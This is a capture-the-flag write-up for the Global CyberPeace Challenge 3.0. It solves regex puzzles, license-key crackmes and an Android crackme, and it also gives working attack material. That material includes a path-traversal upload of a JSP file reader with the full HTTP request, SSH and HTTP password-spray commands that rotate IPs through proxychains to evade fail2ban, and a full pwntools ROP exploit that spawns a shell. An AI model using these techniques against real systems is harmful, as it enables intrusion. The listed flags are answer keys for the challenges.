---
tags: Writeup
---
# Global CyberPeace Challenge 3.0
## Regexp Challenge
We just need to craft manually our regex per level
- Level 1
- `\d{8}\D{1}`
- Level 2
- `^[1,2,3,4,8,9]\D{1}`
- Level 3
- `\d{8}[A]{1}`
- Level 4
- `7{7,}[A]`
- Level 5
- `.*A`
- Level 6
- `\d*A`
- Level 7
- `\d*\D`
- Level 8
- `\d*[c,h,W,A]`
- Level 9
- `[^-]+`
- Level 10
- `\D{1}-{1}\d{6}\D`
- Level 11
- `\D{1}-{1}\d{3,5}\D`
- Level 12
- `\D{1}(-|\+){1}\d{6}\D`
- Level 13
- `\d{2}\D?\d{5}\D`
- Level 14
- `\d{2}\D?\d{1,3}\D`
- Level 15
- `((\D\+\d{4,6}\D)|(\D-\d{4}\D))`
![](https://i.imgur.com/s6HIwQF.png)
> Flag: HL{RegExp-Tyc00n-91234}
## License Key Level 1
Serial key was found in this verify function
![](https://i.imgur.com/9rnmPs1.png)
> Flag: SYIOKLELUIOD
## License Key Level 2
The calculated serial was printed in the terminal, so we can simply use it as the flag.
![](https://i.imgur.com/Eql3bup.png)
> Flag: LBQXULNJPXDE
## License Key Level 3
Checking the disassembly code
![](https://i.imgur.com/m2exSD6.png)
*From the above image, we found the key*
![](https://i.imgur.com/LjvB31F.png)
*From the above image, we found the logic to generate the serial*
Just translate it to python
```python=
key = b'yrtxgfh;olmn'
name = b'cyberpeace'
serial = ''
for i in range(12):
serial += chr(((key[(i*2) % 12]^name[i % len(name)]) << 2) % 0x19 + ord('B'))
print(serial)
```
> Flag: FDVDRRNKRDYG
## License Key Level 4
After reading the disassembly code, we know that the serial char comparison happen in this address
![](https://i.imgur.com/AlN45NT.png)
```
40752d: 44 38 2c 18 cmp BYTE PTR [rax+rbx*1],r13b
```
With the help of GDB, we can simply set breakpoint on it, and retrieve the r13 value. We got our serial key after retrieving the r13 value 12 times.
![](https://i.imgur.com/U7UlzGH.png)
> Flag: GEIJBLDJDECA
## PLUpload
I try to check `/examples` folder, and found out that this uses Apache Tomcat. After playing it for a while (especially on the upload feature), I notice that the upload feature doesn't sanitize `../`, which mean we can freely upload the file to any directories. Also inside the examples folder there are a lot of jsp file example that got executed.
My solution is to upload a jsp file to the examples folder path (`/examples/jsp/jsp2/el`) where the jsp file will open `/var/gold.txt` file contents.
Below is the jsp file
```java=
<%@page import="java.io.FileInputStream"%>
<%@page import="java.io.File"%>
<%@page import="java.io.InputStreamReader"%>
<%@page import="java.net.URL"%>
<%@page import="java.io.FileReader"%>
<%@page import="java.io.BufferedReader"%>
<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Read Text</title>
</head>
<body>
<%
String txtFilePath = "/var/gold.txt";
BufferedReader reader = new BufferedReader(new FileReader(txtFilePath));
StringBuilder sb = new StringBuilder();
String line;
while((line = reader.readLine())!= null){
sb.append(line+"\n");
}
out.println(sb.toString());
%>
</body>
</html>
```
Below is the upload request that I use to upload the jsp file to `../../examples/jsp/jsp2/el/cho.jsp`
```
POST //upload HTTP/1.1
Host: e95ca4f3-a493-4192-802e-7af99f4262bc.idocker.vuln.land
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------34999802810414628822789368601
Content-Length: 1479
Origin: https://e95ca4f3-a493-4192-802e-7af99f4262bc.idocker.vuln.land
Connection: close
Referer: https://e95ca4f3-a493-4192-802e-7af99f4262bc.idocker.vuln.land/
Cookie: JSESSIONID=6E2119D7A2763AC0C88B4888A10C0E8B
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------34999802810414628822789368601
Content-Disposition: form-data; name="name"
../../examples/jsp/jsp2/el/cho.jsp
-----------------------------34999802810414628822789368601
Content-Disposition: form-data; name="chunk"
0
-----------------------------34999802810414628822789368601
Content-Disposition: form-data; name="chunks"
1
-----------------------------34999802810414628822789368601
Content-Disposition: form-data; name="file"; filename="cho.jsp"
Content-Type: application/octet-stream
<%@page import="java.io.FileInputStream"%>
<%@page import="java.io.File"%>
<%@page import="java.io.InputStreamReader"%>
<%@page import="java.net.URL"%>
<%@page import="java.io.FileReader"%>
<%@page import="java.io.BufferedReader"%>
<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Read Text</title>
</head>
<body>
<%
String txtFilePath = "/var/gold.txt";
BufferedReader reader = new BufferedReader(new FileReader(txtFilePath));
StringBuilder sb = new StringBuilder();
String line;
while((line = reader.readLine())!= null){
sb.append(line+"\n");
}
out.println(sb.toString());
%>
</body>
</html>
-----------------------------34999802810414628822789368601--
```
After upload it, we can simply open the file
![](https://i.imgur.com/a0sHb0o.png)
> Flag: New is always better. - Barney Stinson
## CTF Spray Attack SSH
With the help of proxychains, we can dynamically change our ip to bypass the fail2ban. Command that I used:
```bash=
proxychains sshpass -p 93370760 ssh -o StrictHostKeyChecking=no user_100283@pwspray.vm.vuln.land -p 22
```
![](https://i.imgur.com/mT0j5pe.png)
## CTF Spray Attack HTTP
With the help of proxychains, we can dynamically change our ip to bypass the fail2ban. Command that I used:
```bash=
proxychains curl --user user_140244:6ed42dd7 http://pwspray.vm.vuln.land -v
```
![](https://i.imgur.com/e3Yuq6D.png)
## Crack me Android
I got an apk file, and I try to decompile it with the help of JDK. After reading the result I found the login code in the LoginViewModel.
```java=
public void login(String str) {
if (checkHooking()) {
this.loginResult.setValue(new LoginResult(Integer.valueOf((int) R.string.must_not_hook)));
return;
}
try {
int[] checkPw = checkPw(getCode(str));
if (checkPw.length > 0) {
this.loginResult.setValue(new LoginResult(new LoggedInUser(getStringFromCode(checkPw), "Well done you did it.")));
} else {
this.loginResult.setValue(new LoginResult(Integer.valueOf((int) R.string.login_failed)));
}
} catch (Exception unused) {
this.loginResult.setValue(new LoginResult(Integer.valueOf((int) R.string.error_logging_in)));
}
}
protected static int[] x0 = {121, 134, 239, 213, 16, 28, 184, 101, 150, 60, 170, 49, 159, 189, 241, 146, 141, 22, 205, 223, 218, 210, 99, 219, 34, 84, 156, 237, 26, 94, 178, 230, 27, 180, 72, 32, 102, 192, 178, 234, 228, 38, 37, 142, 242, 142, 133, 159, 142, 33};
protected int[] getCode(String str) {
byte[] bytes = str.getBytes();
int[] iArr = new int[str.length()];
for (int i = 0; i < str.length(); i++) {
iArr[i] = bytes[i] ^ x0[i];
}
return iArr;
}
```
Basically, what it do is our password will be xor-ed with the `x0` var, and then the result will be passed to native method called `checkPw`
I extract the native lib so file, and open it on Ghidra. With the help of JNIAnalyzer, I could deduce the password checker that was used in the `checkPw` method.
```c=
jintArray Java_org_bfe_crackmenative_ui_LoginViewModel_checkPw
(JNIEnv *env,jobject thiz,jintArray password)
{
bool bVar1;
bool bVar2;
jintArray new_arr;
jsize password_length;
FILE *__stream;
char *pcVar3;
jint *curr_char_pass;
char expected_char;
long idx;
jintArray new_arr5;
long in_FS_OFFSET;
char local_1038 [4096];
long local_38;
local_38 = *(long *)(in_FS_OFFSET + 0x28);
__android_log_write(4,"Native Check","Checking password ...");
new_arr = (*(*env)->NewIntArray)(env,0);
password_length = (*(*env)->GetArrayLength)(env,password);
new_arr5 = new_arr;
if ((int)password_length == 27) {
__stream = fopen("/proc/self/maps","r");
do {
pcVar3 = fgets(local_1038,0x1000,__stream);
if (pcVar3 == (char *)0x0) {
bVar1 = false;
bVar2 = bVar1;
if (__stream == (FILE *)0x0) goto LAB_001009f9;
goto LAB_001009f1;
}
pcVar3 = strstr(local_1038,"Xposed");
bVar1 = true;
} while ((pcVar3 == (char *)0x0) && (pcVar3 = strstr(local_1038,"frida"), pcVar3 == (char *)0x0)
);
bVar2 = true;
if (__stream != (FILE *)0x0) {
LAB_001009f1:
bVar1 = bVar2;
fclose(__stream);
}
LAB_001009f9:
if (!bVar1) {
idx = 0;
curr_char_pass = (*(*env)->GetIntArrayElements)(env,password,(jboolean *)0x0);
for (_expected_char = &DAT_00100c8c;
((new_arr5 = new_arr,
((&DAT_00100b20)[idx] ^ *(uint *)((long)curr_char_pass + idx * 4) ^ *_expected_char) ==
(&DAT_00100cc0)[idx] && (new_arr5 = password, idx != 26)) &&
(new_arr5 = new_arr,
((&DAT_00100b24)[idx] ^ *(uint *)((long)curr_char_pass + idx * 4 + 4) ^ _expected_char[-1]
) == (&DAT_00100cc4)[idx])); _expected_char = _expected_char + -2) {
idx = idx + 2;
}
}
}
if (*(long *)(in_FS_OFFSET + 0x28) != local_38) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return new_arr5;
}
```
Reading the code, we know that the password length is 27, and the native lib have three different keys in the native (`key_a` which is `DAT_00100b20`, `key_b` which is `DAT_00100c8c` and `key_c` which is `DAT_00100cc0` ). What it do is
`input[i] ^ key_a[i] ^ key_b[-i] = key_c[i]`
And merging with the Login logic, the final operation would be
`password[i] ^ x0[i] ^ key_a[i] ^ key_b[-i] = key_c[i]`
So to generate the password (which is the flag), we just need to do:
`password[i] = x0[i] ^ key_a[i] ^ key_b[-i] ^ key_c[i]`
Full code:
```python=
key_a = b'\xd0\x45\x28\x76\x6f\xf3\x5a\xf4\xc7\xce\xfb\xc3\x7f\x48\xce\x3c\x3a\x0b\xf1\x53\xb1\x4b\xb9\x5e\xa2\x65\x77'
key_b = b'\x4c\x7b\x73\x6f\x72\x72\x79\x2e\x74\x68\x69\x73\x2e\x69\x73\x2e\x4e\x4f\x54\x2e\x74\x68\x65\x2e\x66\x6c\x61'
key_c = b'\x80\xe3\xda\xc7\x2e\xf1\xa2\x91\x6b\xdc\x6b\xb5\xe5\xaf\x3f\xb9\xee\x5b\x26\x92\x66\xc5\xcb\xde\x81\x79\xda'
x0 = [121, 134, 239, 213, 16, 28, 184, 101, 150, 60, 170, 49, 159, 189, 241, 146, 141, 22, 205, 223, 218, 210, 99, 219, 34, 84, 156, 237, 26, 94, 178, 230, 27, 180, 72, 32, 102, 192, 178, 234, 228, 38, 37, 142, 242, 142, 133, 159, 142, 33]
flag = ''
for i in range(27):
flag += chr(key_a[i]^key_b[-(i+1)]^key_c[i]^x0[i])
print(f'Flag: {flag}')
```
> Flag: HL{J4v4.nativ3.d0.n0t.c4r3}
## CrySYS
We were given a binary that is pretty short
```c=
#include <stdio.h>
#include <unistd.h>
//gcc -o challenge -no-pie -fno-stack-protector challenges.c
//LD_PRELOAD=./libc-2.27.so ./ld-2.27.so ./challenge
int not_vulnerable(){
char buf[80];
return read(0, buf, 0x1000);
}
int main(){
not_vulnerable();
return 0;
}
```
There is a buffer overflow vulnerability. Because the plt only contains read, we need to do partial overwrite (1 byte) to the read_got value so that we can execute `syscall`. The idea to gain the shell is:
- Overwrite RIP to read_plt
- Overwrite read_got to syscall with read (1 last byte)
- Rax = 1, If we call read_plt (which now is syscall), we can leak the got address and retrieve the libc base address
- Set rax to 0
- Syscall read again to load our second payload into .bss (Second payload will execute system("/bin/sh"))
- Set rsp to the .bss
- Pop "/bin/sh" to rdi
- Ret to system
Below is my full payload
```python=
from pwn import *
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")
# Chosen BSS
bss = 0x00601030+0x400
# readelf -s libc-2.27.so | grep "read" = 0x0000000000110070
# I choose to redirect it to directly syscall inside read (read+15)
read_offset = 0x000000000011007f
read_plt = 0x00000000004003f0
read_got = 0x601018
syscall = read_plt # We will overwrite read_got to syscall, so basically syscall = read_plt
# ROPGadget result
pop_rdi = 0x0000000000400583 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000400581 # pop rsi ; pop r15 ; ret
pop_rsp = 0x000000000040057d # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
mov_eax_0_pop_rbp = 0x0000000000400515 # mov eax, 0 ; pop rbp ; ret
ret_address = 0x00000000004003de # ret
libc = ELF('./libc-2.27.so')
r = process('./crySYS_patched')
# Load stage 2 rop
payload = b'a'*80
payload += p64(bss)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt) # Overwrite 1 bytes, rax == 1
payload += p64(pop_rdi) + p64(1)
payload += p64(syscall) # rax == 1 == write(1, got_addr)
payload += p64(mov_eax_0_pop_rbp) + p64(bss+72) # Set rax to 0
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss) + p64(0)
payload += p64(syscall) # read(0, bss)
payload += p64(pop_rsp) + p64(bss) # Set rsp to bss
sleep(1)
r.sendline(payload)
log.info('Payload sent...')
sleep(1)
# Overwrite 1 byte of read_got by syscall inside read
r.send(b'\x7f')
log.info('Overwrite read got...')
sleep(1)
# After leaking the address, call system()
leak_syscall_address = u64(r.recvn(8))
libc.address = leak_syscall_address - read_offset
log.info(f'Leaked syscall address: {hex(leak_syscall_address)}')
log.info(f'Leaked libc address: {hex(libc.address)}')
# Craft payload to call system('/bin/sh')
bin_sh_string_addr = next(libc.search(b'/bin/sh'))
payload_3 = p64(0) + p64(0) + p64(0)
payload_3 += p64(pop_rdi) + p64(bin_sh_string_addr)
payload_3 += p64(ret_address) # https://stackoverflow.com/questions/60729616/segfault-in-ret2libc-attack-but-not-hardcoded-system-call
payload_3 += p64(libc.symbols['system']) + p64(0) # Call system
sleep(1)
r.send(payload_3)
log.info('Call system("/bin/sh")...')
r.interactive()
```
![](https://i.imgur.com/aUb2CRl.png)
> Flag: HL{PPPwned-7165-4679-8c39-cf7633bdf81b}
## IDBased1
After checking with the given ciphertexts consist of encrypted message of 'This is the test message number x', there is a collision between the ciphertexts CEO and the test ciphertexts
CEO ciphertexts:
```
(48589388807824569428904895217595930284742776679758376879158603177028397294637208100498204082285088554469912630884992811058648356701793719253927209526856391255958203708765937470965113379063164783112790458526467722720510441287344375068385945897745788289000831021749963218399056946672933810712728531356131069075, 91666678461349391408393081333148703690518650210973716238555488161769616574067974692422855852226270111041696008098903109570179474889001701370982766256913315456108459222753446063832634368831212498249621216114532831173942748910271298860729376114971648924546503909862899046327681305300267651777702160513672803461), 4LXZeMmDX9bXWxTmFF4oimniK0Sq39kURG4v
```
One of the test ciphertexts:
```
(48589388807824569428904895217595930284742776679758376879158603177028397294637208100498204082285088554469912630884992811058648356701793719253927209526856391255958203708765937470965113379063164783112790458526467722720510441287344375068385945897745788289000831021749963218399056946672933810712728531356131069075, 91666678461349391408393081333148703690518650210973716238555488161769616574067974692422855852226270111041696008098903109570179474889001701370982766256913315456108459222753446063832634368831212498249621216114532831173942748910271298860729376114971648924546503909862899046327681305300267651777702160513672803461), 7ZP/X9jSV7SXdzPyJHlvuhu7AHOW8/A0UTUnlUL+URbc
```
BasicIdent ciphertext is like below:
```
v = m xor H2(gID**r)
```
Because the $rP$ value is the same, we could know that the $H2(g_{ID}^r)$ value of the ceo and the test cipher texts have the same value, which mean
```
ceo_v = b64decode('4LXZeMmDX9bXWxTmFF4oimniK0Sq39kURG4v')
test_v = b64decode('7ZP/X9jSV7SXdzPyJHlvuhu7AHOW8/A0UTUnlUL+URbc')
ceo_msg = test_v^b'This is the message number'^ceo_v
```
Full Script:
```python=
from pwn import *
import base64
ceo_v = base64.b64decode('4LXZeMmDX9bXWxTmFF4oimniK0Sq39kURG4v')
flag_len = len(ceo_v)
test_v = base64.b64decode('7ZP/X9jSV7SXdzPyJHlvuhu7AHOW8/A0UTUnlUL+URbc')
test_msg = b'This is the test message number'
flag = xor(xor(test_v[:flag_len], test_msg[:flag_len]), ceo_v)
print(f'Flag: {flag.decode()}')
```
We successfully retrieve the flag
> Flag: YNOT18{B4DB4DB4DR4NDOMNE55}